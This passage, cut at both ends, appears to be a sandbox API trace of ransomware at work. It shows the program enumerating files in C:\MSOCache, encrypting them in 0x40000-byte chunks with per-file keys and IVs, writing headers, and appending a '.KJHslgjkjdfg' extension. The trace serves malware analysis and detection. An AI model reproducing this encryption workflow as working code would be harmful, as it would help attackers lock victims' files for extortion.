lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x1861, lpOverlapped=0x0) returned 1 [0135.714] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x1870, dwBufLen=0x1870 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x1870) returned 1 [0135.714] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.714] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x1870, lpOverlapped=0x0) returned 1 [0135.714] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.714] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.714] SetEndOfFile (hFile=0x124) returned 1 [0135.717] GetProcessHeap () returned 0x2a0000 [0135.717] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0135.717] GetProcessHeap () returned 0x2a0000 [0135.717] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0135.717] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0135.720] CloseHandle (hObject=0x124) returned 1 [0135.720] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0135.720] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.720] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=50823389) returned 1 [0135.720] GetProcessHeap () returned 0x2a0000 [0135.720] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0135.721] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0135.721] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.721] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f4*=0x3, lpOverlapped=0x0) returned 1 [0135.724] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0135.724] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.724] GetProcessHeap () returned 0x2a0000 [0135.724] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0135.724] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0135.724] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.724] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0135.724] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0135.724] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0135.724] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0135.724] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0135.724] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0135.725] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0135.725] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.725] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0135.725] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0135.729] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0135.734] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.734] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0135.735] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30781b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.735] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0135.735] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0135.735] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0135.740] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0135.743] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.743] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0135.744] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30781b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.744] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0135.744] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30380e0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0135.744] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0135.748] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0135.750] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30380e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.750] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0135.751] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30781b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.751] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0135.751] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.751] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x30781b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.751] SetEndOfFile (hFile=0x124) returned 1 [0135.755] GetProcessHeap () returned 0x2a0000 [0135.755] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0135.755] GetProcessHeap () returned 0x2a0000 [0135.755] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0135.755] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.kjhslgjkjdfg")) returned 1 [0135.756] CloseHandle (hObject=0x124) returned 1 [0135.756] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0135.756] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.756] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=2797568) returned 1 [0135.756] GetProcessHeap () returned 0x2a0000 [0135.756] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0135.756] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0135.756] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.756] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0135.757] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.757] GetProcessHeap () returned 0x2a0000 [0135.757] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0135.757] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0135.757] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.757] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0135.758] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0135.758] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0135.758] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0135.758] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0135.758] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0135.758] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0135.758] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.758] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0135.758] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0135.767] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0135.773] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.773] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0135.774] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2ab0d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.774] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0135.774] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0135.774] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0135.788] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0135.791] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.791] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0135.793] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2ab0d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.793] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0135.793] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0135.793] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0135.813] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0135.815] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.815] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0135.816] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2ab0d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.816] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0135.816] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.816] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2ab0d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.817] SetEndOfFile (hFile=0x124) returned 1 [0135.820] GetProcessHeap () returned 0x2a0000 [0135.820] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0135.820] GetProcessHeap () returned 0x2a0000 [0135.820] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0135.820] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.kjhslgjkjdfg")) returned 1 [0135.821] CloseHandle (hObject=0x124) returned 1 [0135.821] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0135.821] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0135.821] GetProcessHeap () returned 0x2a0000 [0135.821] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0135.821] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0135.821] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0135.821] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x1, lpOverlapped=0x0) returned 1 [0135.829] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.829] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.830] GetProcessHeap () returned 0x2a0000 [0135.830] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0135.830] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0135.830] CryptDestroyKey (hKey=0x2c6260) returned 1 [0135.830] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0135.830] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0135.830] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0135.830] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0135.830] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0135.830] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0135.830] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0135.830] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0135.830] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.830] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x251f, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x251f, lpOverlapped=0x0) returned 1 [0135.831] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, 